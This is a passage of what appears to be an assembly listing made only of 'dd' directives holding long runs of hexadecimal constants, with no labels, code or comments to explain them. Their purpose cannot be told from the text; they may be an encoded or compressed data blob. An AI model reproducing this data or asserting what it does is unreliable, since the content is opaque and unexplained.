7C3B868Ch, 3E910024h, 6AAA1448h, 1275FAB4h, 3A721506h dd 515CB8h, 99BEF503h, 4110E04Eh, 1AD0FB07h, 54E0145h dd 0F890F15Bh, 10E3EAA8h, 404A6AE5h, 150044E4h, 2137E5Ah dd 86B5AFh, 0D30FE045h, 11494FD0h, 1F005F78h, 504E56A8h dd 0F8EAFBBh, 0A68F9EDFh, 3E6DD2C0h, 0D776BD7Fh, 0A0224E25h dd 0FDA6CC08h, 0FAF4020Ah, 10EEE74Dh, 721D3B40h, 4AA44B17h dd 4797CE00h, 163B39DEh, 0C0DDDC91h, 600CAD54h, 6C235B07h dd 1A106B34h, 7E2951h, 5CFCBF2Bh, 0A05FA467h, 455AA300h dd 66BA6052h, 345D006Bh, 15640AD3h, 790E9A16h, 0FEDAAB4h dd 5823E635h, 7E2C0051h, 4340D983h, 5B005C70h, 1BF20771h dd 1F729D8h, 50C7387h, 0BB6B9D24h, 17F98059h, 277D314Ah dd 426F0FBEh, 0F5802BFDh, 0F20AD212h, 3DD79200h, 98B44FE7h dd 49D90684h, 795F2A4Bh, 92B260Eh, 0F4CE068Dh, 88C0030h dd 0CD9B1A88h, 8506CFB3h, 35D5480Bh, 0E09A1C79h, 67C143FCh dd 62A36042h, 0C75C911Dh, 1CDD59B0h, 3F973C9h, 0DB934483h dd 0A898671Eh, 9B0191B4h, 488C31EBh, 94106B0Ah, 6163BE5Ch dd 0C190D341h, 118C6EC5h, 0AC294776h, 0DF3AB500h, 5AA42F3h dd 9E1A3F55h, 3F51C00h, 0D2EA308Fh, 31547537h, 0EB5B86A0h dd 1577E9h, 0D1C0A85Ah, 2AB667CFh, 3888FD60h, 41E873h dd 81EAEE19h, 5DC35979h, 1E399700h, 7C783532h, 0BD9306DBh dd 111A95EAh, 3261048Dh, 108086B2h, 0C0CCA8E2h, 9D007118h dd 53548CA1h, 388043EEh, 0D6813282h, 17E21CE5h, 792990CEh dd 48456984h, 0D1AA420Eh, 88A2082Fh, 6A884803h, 0D35288E2h dd 6800E191h, 83587743h, 0D600BFEBh, 6E79460Bh, 5BDE985h dd 733FF9E0h, 5ADD8064h, 0A022F47h, 90A7B938h, 9B088053h dd 1E488EAAh, 401BC842h, 0DBFF23AFh, 3D070280h, 98964C70h dd 51C0C735h, 3BF25C5Eh, 2E807990h, 272BD0B0h, 0B2004841h dd 9450F323h, 0B551A2h, 0B4CFBE36h, 0EF02CA7Eh, 9354C2Ch dd 63566502h, 0FCB0A037h, 0E0BE584Bh, 397500C8h, 3CB61EC5h dd 655C7418h, 5B330022h, 1F42439Fh, 0BD7A060Dh, 48690CC3h dd 80AFF451h, 0B12AB48h, 0A759FEh, 1936E634h, 24F20422h dd 0E85FBD00h, 0C98AE766h, 56B00B1h, 58E55DBAh, 83007C13h dd 0A939DCF4h, 0C5B1C6Fh, 6EEC0FB2h, 91000E10h, 0D9DBC770h dd 0F72BEAh, 71457AE9h, 0AF88BFCh, 163A200h, 0D5D2650h dd 0C4EE12D8h, 0A99E007Ah, 0BA75AD24h, 2000F7E2h, 49A589ACh dd 0C4F0A0h, 13341DC6h, 5AB231D4h, 16FE6900h, 70553D8Ah dd 935D00B9h, 4EAFB777h, 0A8F04F3Bh, 80CF6E39h, 0AAFFB684h dd 0DA20E8h, 94AB0424h, 363FDC67h, 0C956D900h, 0D5D41550h dd 4469058Ch, 909666h, 0C3238994h, 0A2E64C16h, 5D6C7701h dd 27E6D4F4h, 6A6630h, 0B4DAFE57h, 9723C69Ch, 4C647700h dd 0DBEEFB60h, 0FC870E0Fh, 7C009256h, 79F225C8h, 0A2B9F800h dd 2C980DABh, 7868140Fh, 0A800A03Bh, 3D0916F3h, 0F93E37AFh dd 72EB00B4h, 2F211553h, 0F0CE03D7h, 7A74F617h, 4E6DFCE8h dd 6C886801h, 0AB799DEAh, 118BCF4h, 0FEC846AFh, 0E0E1F4F2h dd 0AA00E58Ch, 330C656Eh, 0DD69D0h, 95A4A737h, 0E89F7974h dd 0A3C1D918h, 75AB10h, 0D09AD301h, 3612B0D7h, 3EF07B48h dd 807448C6h, 4EA42793h, 9B75000Eh, 6480A219h, 8D002A08h dd 1E4FC70Fh, 96555Bh, 2C623169h, 5F2630D8h, 91F1AF60h dd 7B20FDF2h, 9FE78F4h, 300F9451h, 857F6C00h, 4100A56Bh dd 1D0A14E3h, 0FF88C27h, 0AAF4FD16h, 0E91A1EA0h, 0B900F2B5h dd 87C91B7h, 24555881h, 97405h, 0C3BC7183h, 0F00068F4h dd 18B8E4EAh, 12A3A6AEh, 43700Ah, 244017B5h, 15001C32h dd 9FDF96C2h, 0DBCDDEh, 0CAE431F7h, 9D62AEC8h, 541AB0C0h dd 2411D419h, 2843E334h, 4AA041Ch, 92EA26h, 12274EA5h dd 0AEC70050h, 2938B88Bh, 0CB00DA10h, 52B685A4h, 0C80633h dd 6B7801D7h, 0ECF8775Ch, 5499E560h, 0BFEEC28Fh, 0D112F2D8h dd 1C0078FEh, 2EE00F8Eh, 0C0630003h, 0DBEDFCC2h, 0A503804Ch dd 0FB81F9BCh, 4E969935h, 42E34E8h, 56B15590h, 0C1C0AB91h dd 1C14C9h, 8F92A5CFh, 6924EFB8h, 88EDF81Eh, 0ACF29780h dd 0D7074h, 58C177EAh, 67A8DEF1h, 17A7EF0Fh, 245B6EB6h dd 3DC06906h, 7A80FBE6h, 0F9ED489Ah, 922C8200h, 6A04620Dh dd 3AE10607h, 8430AB08h, 25C6F2h, 7DC39D09h, 0EB05DBFh dd 4D9C3500h, 9E026A24h, 2D5900D0h, 0D6319667h, 1600BB3Fh dd 38B640D2h, 13CABE1Ah, 891C5Ah, 6CC76D81h, 5B00820Dh dd 0BD735C04h, 1C05D409h, 0C0132F48h, 0FDDE7655h, 3C0010A6h dd 0A2CB6A5h, 5E4A32h, 8B4765C6h, 662975D0h, 0D7FBE300h dd 0FD4CC03Ah, 0EAB00CAh, 0F352AFB1h, 9803837Fh, 14BE7594h dd 166BF101h, 0EE8E71E4h, 0AF9601D9h, 2532DE24h, 9235FCBCh dd 80A03F3Ah, 48452991h, 0A4F1BEh, 24665BF6h, 3E1CC75h dd 7A0008F4h, 6C2E9610h, 0ED02C1h, 6B586F3Eh, 45AABD4Fh dd 9069FA07h, 4509142h, 9A8F033h, 9CC33E32h, 49554A00h dd 0DC001C78h, 6002AD0Eh, 2C750CCEh, 73E2C6h, 5109F14Ah dd 7101FCCDh, 258B36A0h, 9FECEFD2h, 45960041h, 7986436Fh dd 500CE91h, 9D07B77Dh, 2B28FAh, 0FB4BF699h, 2FDC887Bh dd 84016CEAh, 0AC2C24EAh, 0A8CFABB2h, 22A2B32h, 0AEBDA4AAh dd 7940402Eh, 1300BEB0h, 931179CEh, 148FFB3Dh, 87ABC15h dd 0BE178D00h, 6C911C87h, 0A60D7900h, 29A86DEh, 0AF774Bh dd 5DD2C0Ch, 0C219A55Fh, 2DD9FF01h, 0D664B245h, 3DAE60h dd 66A89CD3h, 90F74CF4h, 786A1600h, 0C60CA9BCh, 0A74A000Fh dd 8AE26BBBh, 3100CF18h, 0C574E0D7h, 40159Ah, 664CF77Ah dd 11455CFAh, 0A602D11Dh, 18C18700h, 0C25E9Bh, 0AA52F43Ch dd 31FBEC54h, 4CE88A5Bh, 0E6507907h, 436F070h, 94FC7D3Dh dd 24A32A00h, 0D5ED3FF2h, 0D6D4008Fh, 361B28CCh, 6A008923h dd 62DB0554h, 0EAC93CEBh, 1207849h, 0F26882F6h, 40697A32h dd 0D83E9B4h, 3089D07h, 0E1E163A0h, 908037CBh, 9167FAADh dd 0AA001F58h, 1E03341h, 140EAF83h, 0A8955289h, 0FA68D000h dd 8AFCAC6Ah, 787A1A74h, 95E02550h, 0CC8C4800h, 75CAAD0Bh dd 24FE0581h, 80824721h, 0B88094E8h, 5D1F6100h, 0F419A67Ch dd 3D2CFA3Fh, 0E6BE8AA5h, 0E96C1B80h, 0D683CF44h, 5B484312h dd 0BDAC6440h, 70174128h, 0AFA90095h, 351B2ABBh, 9779069Fh dd 0D24C100h, 0DC757B80h, 5B41245Ch, 0BAB001E4h, 0CD021C9Ch dd 0DF93FC39h, 0A7AC32Eh, 9AA37830h, 0C6402CCDh, 43B40A32h dd 81034080h, 0F7008059h, 0C74008F0h, 0C2063DCFh, 42AB864h dd 2B0DDB60h, 96CC180Ah, 100B710h, 0B7D0142Fh, 0B443000Eh dd 24222528h, 49000F86h, 4C26DED5h, 7291A3h, 1A7E5CC8h dd 640BD716h, 5DC90C0h, 0FA8736h, 0C45EEF75h, 0EA86027Dh dd 0E0183E26h, 9AAE1C00h, 1138ADh, 0BEF2AC69h, 1AE5A46Fh dd 0BCC53305h, 3A801D0Eh, 20F4A011h, 6F009D75h, 0D65AD96Ch dd 18C458B5h, 58844E5Eh dd 8104A039h, 4AE00788h, 878679C0h, 9FA30551h, 0C01E497Eh dd 9C4E5078h, 0EFE4C500h, 0CECD6CB2h, 3E14F0BAh, 5480D426h dd 1521404Ah, 891D4D68h, 0EB49B25Eh, 7F30A091h, 12B0E287h dd 4EA199h, 3625D78Ch, 0A7007703h, 7B3C2418h, 2B6181h dd 0A9B987C7h, 0E770EBD8h, 0F15ABB00h, 0DA845327h, 0F9830049h dd 0BC37C795h, 9F2432EAh, 833F149Dh, 4706C473h, 0DDA29830h dd 0EEBD050Eh, 0C004C86Eh, 0A976C658h, 608B1324h, 7D179C00h dd 98AF870h, 276E07D4h, 0C80B8800h, 9007705h, 0EC6CE59Ch dd 98B8865Ah, 0E769004Ah, 49AA1753h, 0B00EFBDBh, 1A767DCh dd 87CD6A26h, 7D50A6CCh, 2EE00E9h, 9273BE97h, 5E3D6281h dd 0ED9B00C1h, 0A94C68E1h, 4E7932h, 91412D0Ah, 34C547E0h dd 0DFE6B9F0h, 0F190D000h, 799B8894h, 731F00ECh, 9D8696AFh dd 2100EA7Bh, 0A844A7Eh, 53A85Dh, 0E12FD9DDh, 54BA5057h dd 4E5908A0h, 0F061BC00h, 5DD40ECFh, 6C9A1C7Dh, 0FA873A70h dd 7084D544h, 0A70576D7h, 5437EB00h, 0F2D3E41Fh, 0F0230F78h dd 401E73D8h, 95B94D56h, 0FC399C64h, 2D0F8079h, 0D4016D82h dd 0D6CE00B3h, 7B0773Dh, 9B7A14C4h, 0F4FCF503h, 0CF476ACDh dd 97764C80h, 0E9E47Ah, 3FECC17Eh, 0CCB0AF69h, 0FDB6D107h dd 1ED0D9E8h, 0CFFEEFh, 4FCB585Fh, 0DBE1F40h, 2279DA0Fh dd 567D600Ah, 13B0F0A9h, 213082h, 87611C47h, 58006654h dd 1620C99h, 0C264EDEh, 21F5C6F7h, 0FF0C3320h, 0B86491FCh dd 8B830005h, 9C41F319h, 0EA00FD88h, 2853DEE3h, 1F697B1Ch dd 40BCF678h, 521A37D8h, 4B00EBF9h, 0B189E516h, 2E05BEh dd 6A6FCEEDh, 7B727C69h, 32C70A01h, 0F613FCB6h, 0F2A4A0F3h dd 15665C3Eh, 2480CB3Ah, 17930703h, 3430FB94h, 95F5F8C2h dd 0A7DF3B8Ch, 0B59250E0h, 0ED203AB9h, 65787CADh, 3C4086h dd 6B937070h, 0B1A1EB6Eh, 37E840D6h, 510F9F43h, 4E8992E0h dd 804F2AACh, 702F3BDh, 0B7A85878h, 0EC84A0E8h, 60EB5DE7h dd 86D11BFh, 0D73ED76h, 6009070h, 9C13887Eh, 0E1E7F25h dd 4867F2F7h, 96EED060h, 3E008637h, 0D44F929Fh, 0EFC410h dd 0A113241Ch, 0E56865ADh, 586CA218h, 9CCFA0h, 6A4C7F2Bh dd 76A49AA5h, 0B94BB500h, 0ED9EE430h, 5A3F0004h, 7B85A655h dd 8E07AD09h, 0AB10D38Ch, 0C84F6A70h, 2AFD0058h, 8ABE7290h dd 630FF260h, 0C0DB6264h, 3447401Eh, 0CC4B283Bh, 0B0E41CB8h dd 205BC04Eh, 0B6AAF4DFh, 4D724C00h, 0A906C122h, 783200BCh dd 35AC5243h, 3E0A5144h, 8E0B526h, 0E2B72880h, 0F2AAB9h dd 0ED013730h, 0C6CE972h, 0AE086703h, 0E817E4F0h, 1AC2904h dd 503F1DD5h, 6071A248h, 0E5287C6Ch, 0C526A001h, 510043F1h dd 0FB5C7462h, 0F30901Ch, 2506E3AFh, 66DC0FA0h, 311271A5h dd 7C001F68h, 62E2F34Ch, 36981277h, 0CB1400D8h, 0E182EEBFh dd 0FB003C75h, 0B6B1C926h, 0EDB304h, 3031E50Eh, 0E65A158Eh dd 49FA4092h, 99BAC200h, 38FB2DB5h, 0EC7A0037h, 6FAE9414h dd 72019EA1h, 0D67D51E3h, 41C2D2E5h, 0B4D43C20h, 6C5E007Fh dd 0D7AF4052h, 701F6B3h, 9C7DEAFEh, 0E6C477F7h, 87600AFFh dd 0BA9042h, 5161D370h, 0C4120FF9h, 2F142409h, 19007E52h dd 690AF365h, 9FCE53h, 88685C5Fh, 47AC0D4Ah, 328E2800h dd 6383A9C9h, 0BA390214h, 0CF0EBD75h, 0AE678848h, 0ECEDD800h dd 44566026h, 0EBDA09ACh, 88F28EAh, 0E1DCB220h, 0BB051024h dd 390721A4h, 8BCCC4Ah, 0C046320Fh, 3687B849h, 9898CAh dd 9E7884F2h, 292A24EAh, 26736748h, 6C230D6h, 0E09C4B77h dd 0E40DF71h, 0FF1D1393h, 1A21B3C0h, 54007C8Fh, 0BED9C452h dd 7E024D5h, 0F6F7167Eh, 6F53C0E7h, 2000CFC1h, 218CEF91h dd 0D9EEC2h, 185C2E93h, 0F585498Bh, 3238CDE2h, 0C660FE23h dd 50E3C7A0h, 30C16045h, 0A5AB43BBh, 0FF014C90h, 916D5233h dd 0D3EC4989h, 0DACC0036h, 80F27525h, 56FE7C8Dh, 0EAB9AA03h dd 0A7990135h, 62F019F7h, 654FED0h, 0A7B8AC9Fh, 7C0921D8h dd 1034C717h, 37A428h, 83A61124h, 8B02859Dh, 28B3C300h dd 5C409A6Ch, 388048D7h, 0E4DD440h, 0DC49AC70h, 77875720h dd 6B0072F0h, 8B53D0D8h, 274EE79h, 5AE7EF6Dh, 0C0DF8E04h dd 0E5D1D5h, 0C8C065Ch, 0A4233707h, 8EC72E01h, 3AC8DE50h dd 0CCBD6181h, 0C03B4A8Ah, 0D330B3E2h, 0F0B71821h, 6004F069h dd 6A201105h, 0F3003B81h, 0DEBD8ED0h, 7F14C45h, 67E994FEh dd 0B21B70A3h, 97311088h, 0FB4E30B5h, 6380AED0h, 6B54705Dh dd 5AF70780h, 6EB72200h, 0D3C6A569h, 8E3401BFh, 7C81AFCDh dd 0DB908056h, 4BA41C54h, 4E88A8C7h, 0D2003FCh, 11585AEFh dd 0F534801h, 8AE3C02Ch, 3007D424h, 0B9E13B0Ch, 9F006A28h dd 45B59B17h, 0A7EB22h, 0E97796C4h, 0A1DCFD83h, 0DF3DC91Fh dd 8E9F2BC0h, 0F0C45Eh, 7595598Dh, 5BE2AE8Ch, 481538h dd 0CE73A338h, 65D09Eh, 0A93F6F0h, 0E5A44FDDh, 41C0D94Bh dd 9954E1h, 0B7B4E9BDh, 6D01C189h, 58D80D1Fh, 57C94541h dd 353011E2h, 0C83000E1h, 0A5E7883Bh, 527EF84Ah, 6AA1A800h dd 0B6BA5FABh, 0E3A72BCh, 53CAECB2h, 0F79AE3Eh, 3C81D2FFh dd 304AD472h, 909B216h, 80C87403h, 0B3E305FAh, 25F100A7h dd 80771E46h, 9B1F0EF4h, 6707B7C9h, 81CA4BEAh, 539FF903h dd 0FE1014C7h, 0B002A4B3h, 89CC8ECBh, 0A366ACA0h, 0F065CFDh dd 7205A87h, 219F6209h, 605F9BC6h, 62D4EE9Ch, 2B1786A2h dd 0B1F73868h, 636DD300h, 0EEBADC92h, 0E4561E6Eh, 38D8809Bh dd 4C484D43h, 80A0136Ah, 0EA4F9447h, 5E000833h, 0B7A5495Ah dd 0C76A0C50h, 4B0860BFh, 527C21C0h, 1BAB649h, 0B7C456A4h dd 83F2939Fh, 607845D8h, 2C60420Bh, 9B3046E2h, 0B6100171h dd 576FB5AEh, 0F85810C8h, 0D9468422h, 0A6495902h, 1C58B7h dd 0DD49517Dh, 0FF4D55B1h, 92A43115h, 4F950CA8h, 386F2939h dd 70E8DB97h, 902103CCh, 1000F167h, 0B1160B11h, 76CCAE4h dd 7FE248DCh, 0B7266722h, 60B2E05Ch, 4503044Fh, 4D7CDBE3h dd 3B80DF24h, 0F7F554h, 70F27396h, 0B799AC33h, 50D17100h dd 0FA2D9512h, 4E9F0057h, 7DC5E030h, 0E8004F6Ch, 2068A3F6h dd 0B89E67D4h, 0DD180074h, 0FF48DB09h, 3D3BB32Eh, 9B5100F7h dd 7BD6A9D3h, 74A5EE6Dh, 0C6F600C4h, 1D319AC8h, 65004675h dd 0E49883Fh, 3913ABC5h, 0B8EF4F8h, 41C0E224h, 0C75D672h dd 0B982D200h, 0F4C95122h, 0E6B603F9h, 0C8FA7388h, 46606104h dd 1EC355F8h, 0E287C80h, 0A6F4DC44h, 91FE8900h, 40038821h dd 0E0857062h, 2CA09009h, 0AB9400FDh, 0CADC4D97h, 0D12DC46Dh dd 9DF066h, 0D37961A7h, 75E4764Ah, 372C19CFh, 333E76B8h dd 0BF563A83h, 0BCE06F18h, 7B0F775Bh, 0D598C8h, 95FCA39Ah dd 396B0026h, 0F0E031E1h, 0D8CF6471h, 0CB9C013h, 389D20Eh dd 0F48F4BCCh, 0C1008154h, 0AA852087h, 31A340Ah, 0C3F929A6h dd 0C7F05D93h, 0B40009BBh, 0BAEE5A63h, 0C6BF270h, 0D0F8DBBCh dd 0AA2ABF41h, 475C90C1h, 0FA2E0115h, 1E234913h, 0C36C96FCh dd 752A6D28h, 7CD73CD0h, 0F96EF51Eh, 0ADB7B580h, 449627F1h dd 0BF70CD4Bh, 83B6F400h, 70A59139h, 285E02CEh, 0BCA95437h dd 88D67D40h, 95C8FB07h, 24B08EB9h, 11DE53Eh, 8F687DEBh dd 0A1E8780Dh, 187E0410h, 10F0B8DDh, 0A31C70D5h, 940240Ah dd 3FEE2682h, 1A4B0EFCh dd 9140DD22h, 5DD6E886h, 85299864h, 0AEE1FA40h, 0BA0F69EFh dd 202B3AC7h, 0A580F706h, 282F006Eh, 0DAF908FCh, 7E0011D2h dd 45572D99h, 1C0D6371h, 0C0F0AC7Fh, 0D0413E8Ch, 9000AF6Ah dd 2C71989Bh, 6B6CE9h, 0FACB73BEh, 3D0DE549h, 0BFC67202h dd 605C1CF0h, 4C39FBh, 26B1B4D7h, 305B6EAFh, 0C4954416h dd 0FD3FCE00h, 15F2105h, 0AEF4F6EDh, 0C43BBCF8h, 670050A1h dd 4005238Fh, 79B8E60h, 2D7A90EAh, 0E8D97041h, 8807DADDh dd 9409C833h, 0A90D767h, 3CD5AE2Eh, 0AF00C75Bh, 7142C993h dd 0E500F425h, 0FF619E14h, 24F6FD1h, 0A784BA46h, 0BC820D72h dd 6740C83Dh, 7B007D42h, 0D630D92Dh, 3FA12102h, 2F0064F4h dd 8DA34547h, 2B018F07h, 0FB3BB877h, 0C9711892h, 0C8D0C0EEh dd 0E2F9EEDFh, 0D3390008h, 338C8441h, 1138555Ah, 0EA1D12AFh dd 95993C00h, 1842FDADh, 9C20B2FEh, 720325A5h, 7D5748D7h dd 68B100A2h, 9BBD87E9h, 0B30FB518h, 0C0B6998Ch, 8FADCB9h dd 668E0094h, 0FC400358h, 0D500FEFDh, 0A25041B3h, 2434AA7h dd 7A8866C5h, 0FBC06082h, 9000042Dh, 0AC5F8D1Eh, 136D9FEh dd 54769D3Bh, 30434DA5h, 0AA0087B0h, 9C3DEAC6h, 90E3EF02h dd 35FF0050h, 7DB5B34Ah, 0E8006E33h, 6DBB424Dh, 839A89h dd 0BD444EA5h, 1A0D0EEFh, 76B6F500h, 9742D01h, 7CDEA10Bh dd 0E8CFACCh, 65EC0E9Ch, 402C1F92h, 0FBF438ACh, 0F1EAF248h dd 0DDF890EAh, 0F3C54600h, 68D45935h, 150B3C16h, 0F4E3D980h dd 678E8ACh, 33896A00h, 9657B225h, 780AFCDDh, 0B53700F2h dd 1612443h, 0B118F077h, 0F621825Bh, 0E5C01F5h, 747E0FB2h dd 0E4198076h, 59860968h, 3BC400AEh, 0B87F3C0Eh, 0AB0901E8h dd 1F22F47h, 18FE9CD0h, 0C3D6E4h, 4684E5F0h, 0BECEA330h dd 97EAD900h, 4CA92604h, 727E3927h, 4F997F03h, 8EB90855h dd 4298EC83h, 0E7115001h, 73223395h, 0F79C880h, 0B60A1924h dd 44934A24h, 544F1280h, 0F6EF6ED4h, 5337A9Fh, 78760E7Fh dd 153B801Ch, 0C117FE71h, 1EBEAB29h, 0D995CCF0h, 0F100A0D9h dd 0A9BC80DEh, 0EA6BC6h, 6EE9B6FFh, 0E8DD63Dh, 9767B300h dd 946495D1h, 0F2E326B2h, 0A95B0441h, 0EA0080E0h, 3500837Dh dd 973953F7h, 1DB79DE5h, 8001434Bh, 7A3A4FBAh, 5816AF7Fh dd 33007B9Ah, 291973C3h, 792A0383h, 2B9062F1h, 23EDB580h dd 0DE986C00h, 0B9A26B8Eh, 2470030Fh, 0C67D73D2h, 4E6031B2h dd 0BE0317FBh, 0F4A28009h, 0E1E4F0CCh, 0E5D600F6h, 0C572B20Ah dd 8A00506Dh, 91537B30h, 1FF2EAC3h, 536610B4h, 0A41000BAh dd 0D06552E5h, 86E40700h, 2C60BC11h, 0BD1500B1h, 3581E1C1h dd 653DEF6Dh, 23D9938Fh, 903B1400h, 2C68B3CCh, 8004390Ah dd 5A389759h, 7874960Ch, 36C1A400h, 4F780B5h, 0F37903B6h dd 0EED3408Dh, 669BBF0h, 977CDA00h, 0E41509ECh, 2CB8097Bh dd 7B80D5DBh, 641C7CDh, 2D4C51F8h, 0B1E6005Ch, 297863A7h dd 0CDA2C38h, 0F514014h, 120E4861h, 60593B2Ah, 0E097C104h dd 0C04901AEh, 94BFD447h, 0F0143011h, 5FB4E800h, 139E7002h dd 0DF90C7D1h, 0F9EC30DCh, 0C9007DF7h, 4F27575Fh, 669F7Ch dd 7F5C01C4h, 37E43C92h, 1ACB1000h, 0B2872B9Eh, 2EF048C6h dd 514FBD04h, 0E13C809Dh, 0CA1ED56Ah, 37006EC1h, 3CA3ED90h dd 0AEB516C3h, 0D7D00358h, 63BF9CA9h, 1ED304F6h, 0D1B2D000h dd 6CBF27EFh, 0ED8100FEh, 0A73F07AAh, 68070593h, 8DC19FE8h dd 68D0C504h, 0CA314h, 9DDC2B8Bh, 5998AF42h, 0F7E4961Eh dd 0A89B5204h, 0C6FB7881h, 0D5F003D5h, 305700B9h, 68BFB32Ah dd 0FFE0CA3Dh, 2C96722Ch, 63EF200h, 49BD290h, 19D6E503h dd 1565C04Fh, 6F00FE8Ch, 0A53D07C3h, 0EA6D6537h, 480B282h dd 9E66C29h, 151AC057h, 25F8CC9Ah, 0A0740B00h, 35ABEE3Ah dd 77AC002Ch, 76DAB233h, 0A27E4E8Ah, 6E044700h, 1D11B0D8h dd 0D49C0353h, 315F0A88h, 7C7879C0h, 0E06CF000h, 6F90ADA2h dd 0CABB3A51h, 5C49CF85h, 0BDF4034Ch, 0BCC83A25h, 75001F7Fh dd 84B917FDh, 0E4BAC4E4h, 1C1C90E7h, 80455C27h, 0B7337496h dd 21003935h, 73C6F6FCh, 4C89FAA4h, 0D3323818h, 84C07EEEh dd 7F226D22h, 78A3CCBh, 9A167972h, 0CC080540h, 829C56BBh dd 0E463801Fh, 3B79CAB8h, 0AFD16501h, 0DA285A25h, 14F8DEECh dd 64950D46h, 80AB241Dh, 0AC150A8Fh, 0F91F68B2h, 189FD606h dd 69390400h, 0B0E42DBEh, 4E491EB4h, 0C6BC402Ah, 0ACD2D379h dd 1B9F9602h, 80877AE9h, 0B5E8CBB7h, 31A30072h, 4D9718D8h dd 0AB076EF3h, 962459F6h, 380780B0h, 4250013h, 0DF93860Eh dd 9478F7BDh, 44D85000h, 3BCBA13Fh, 144501C1h, 4CC47B84h dd 0D4DDF9B6h, 6702FBBCh, 0E5E1AA86h, 0E684C4ABh, 0C8622C40h dd 57788194h, 706CCA9Ch, 0E100D7C0h, 67B1D2C0h, 0E2C4CFh dd 0C876AA3Ah, 0DBC3CB1Ch, 0D1ACCD5Eh, 82628h, 0C9CF6FBEh dd 90B7A8D6h, 4CD85C3Eh, 0DFB60700h, 4C40356Ch, 9A21A18Eh dd 249E120Ch, 0B024870Bh, 9FD781F8h, 7B82181Dh, 0EF23C406h dd 0A81D1028h, 0B0E0880Ch, 0C932A330h, 95C58918h, 614B6C38h dd 0B834D1E1h, 0E665E507h, 32812480h, 1500E5A3h, 0F59E6BC7h dd 36F0AE7h, 0CCEE9F7Ah, 97B056ECh, 110379D9h, 0A08DD482h dd 13BF021h, 9030A4CBh, 869700D1h, 0BFB13EE8h, 2A012985h dd 856148Bh, 98D06299h, 3E3F004Fh, 0E2FF221Ah, 850097EEh dd 0C22DD018h, 1ECBFE10h, 83535CCFh, 80C343ADh, 2408A7D8h dd 52BA761Eh, 69810ADDh, 0F2553177h, 230BC980h, 3344CAA4h dd 6C22010Eh, 14181DCBh, 1BB021h, 0D96AAAA4h, 0DDB9732h dd 0C400A975h, 4036FE5Bh, 0E3315A6h, 7E759FC5h, 0EBD718F8h dd 0D0DD1B29h, 4DD87D00h, 767B646h, 0AF9EE46Bh, 218A466Ch dd 4D806200h, 0A8CF6F0h, 0D30601A1h, 23725F71h, 7DD85007h dd 8387EF2h, 924805Ah, 22715005h, 856C04EFh, 40F6B640h dd 0F43EEC1Eh, 48A90099h, 0D3294172h, 0F1071CD8h, 0A2C01AD1h dd 23770BC7h, 6C842F15h, 0C0388C08h, 44C5A430h, 8085CB70h dd 17A3C8ABh, 0D401D29Bh, 7E60F95Eh, 8906BC32h, 0BE8858A0h dd 79901F50h, 1862AE10h, 9A40187Ch, 0F68E190Fh, 0B29CF057h dd 4F0BC0C1h, 829B0625h, 0D0A9E4B7h, 33B3E33Eh, 0E08AE86Ah dd 0D752DAh, 8EB2A83Bh, 80387949h, 34F48F1Ch, 2C725B40h dd 2BC725h, 5213A306h, 0ED5115DCh, 0DD1C2172h, 62409DD1h dd 5EB65F4h, 0B52C038Fh, 3F9ABE55h, 2A0040D6h, 250A7BE3h dd 0C94D3Ch, 0A9089D2Dh, 0D1819906h, 0BF0C4E00h, 0A0466FA7h dd 19EEA26h, 1ED4C9B0h, 802A256Ch, 1D67C288h, 11A4EDh dd 2B36F43Dh, 0DF0F8EF0h, 0F513EF07h, 2F705D2Ah, 0CD41C49h dd 8CE43947h, 7015B80h, 9B147BC0h, 5320EC26h, 9B025089h dd 0D9BC0955h, 288C4D45h, 82607AB1h, 0D11CBE39h, 25A80350h dd 0A1F3F261h, 0D51BFD0h, 68DB7E00h, 8FB67203h, 438300D3h dd 0F25C5787h, 19C11730h, 82DFDAF3h, 0B7BC7810h, 7070B530h dd 111D7236h, 19E7A29h, 3E0D3C74h, 91C0BC70h, 842707C4h dd 20A34F11h, 859B2134h, 0D7D75B8h, 3F4CAB71h, 758700C1h dd 999198FEh, 0F0F400A7h, 0AB0D7FE1h, 0C7486F8h, 22218E60h dd 76DF33Fh, 56765C9Dh, 0A0EEB0B0h, 79804ADEh, 99D703BCh dd 3B35FFB6h, 0A912CFA8h, 0A464F907h, 0AD70E469h, 1BE63B4h dd 0AC79941Dh, 40C2FE99h dd 706B9E20h, 45C64E00h, 6D7D75D0h, 679BE8CBh, 1F4320A4h dd 0E5DE7B22h, 0D867ACE1h, 7E70452Ch, 0F09A50Fh, 0B0A2E0DCh dd 6068BA12h, 0D6FE5930h, 63302993h, 0F77811B3h, 359503B7h dd 2D4A97F0h, 0AF120918h, 0FF5820h, 38DD6B7h, 0A5BACAE2h dd 18309400h, 0F1FEC078h, 59950086h, 0DBD311C2h, 0A13B3BB0h dd 0ACA9A803h, 808C3E21h, 0E1F1F4DCh, 82850C97h, 0DF39437h dd 55AF3DC0h, 0E7086603h, 0F9477B01h, 68808CC6h, 9C32BB26h dd 5000D771h, 189853FBh, 6FA9BEh, 0E33EB9B4h, 0AE2786FEh dd 3CC2D70Fh, 3BADC060h, 1E9299F8h, 8C6E9Eh, 1D24DAD4h dd 0DC00FCC4h, 4E636866h, 0D99EEBh, 4115E020h, 37D26424h dd 3D1F6D00h, 10307E99h, 26F6002Bh, 0CE24A1C5h, 0D4007275h dd 0B6480477h, 59151Dh, 96227692h, 0DEBBB9FFh, 0DF00D5B0h dd 0EC828565h, 393A5D4h, 747BF136h, 0D5F9CDEFh, 0F6EFC3Ah dd 0C9452A00h, 0FA99C62Ch, 87A201FBh, 0B63B840h, 0A6C0F8B1h dd 0C5096179h, 8CBB9FF6h, 0A59D1160h, 0ECDE104h, 331080A3h dd 0F31EB5B9h, 5B733C60h, 467DD100h, 0BF8C673Bh, 0AFD26E00h dd 0BE669C74h, 9E807B3h, 0D1A1D8D1h, 0C8EBB4F0h, 0A600F384h dd 0C957ADC7h, 3F11338Fh, 0B91853EAh, 2AE858E3h, 5BE22E00h dd 2F15C168h, 0CD7857h, 0B39F3F0Bh, 49227025h, 38475D03h dd 0B87B92C8h, 0FA4237A3h, 2D7F012Fh, 66F36C21h, 0E8A0D112h dd 0CA0394F2h, 5D7D0D41h, 0B3D790DBh, 0B55500D6h, 725E1E31h dd 0B700326Ah, 79FD307Bh, 0F5BF76h, 2FDA428Dh, 0D64BA7EFh dd 0AD150A00h, 27C9F254h, 0A8FC03CAh, 0E5424691h, 0ECAC7DE0h dd 9700C777h, 0FEF1040Fh, 0DCA5F6h, 744BCBD2h, 0B9AC321Dh dd 9FE34E02h, 0D8B45625h, 0AD60E38Dh, 0B01903CDh, 0C29BB8DEh dd 558965E8h, 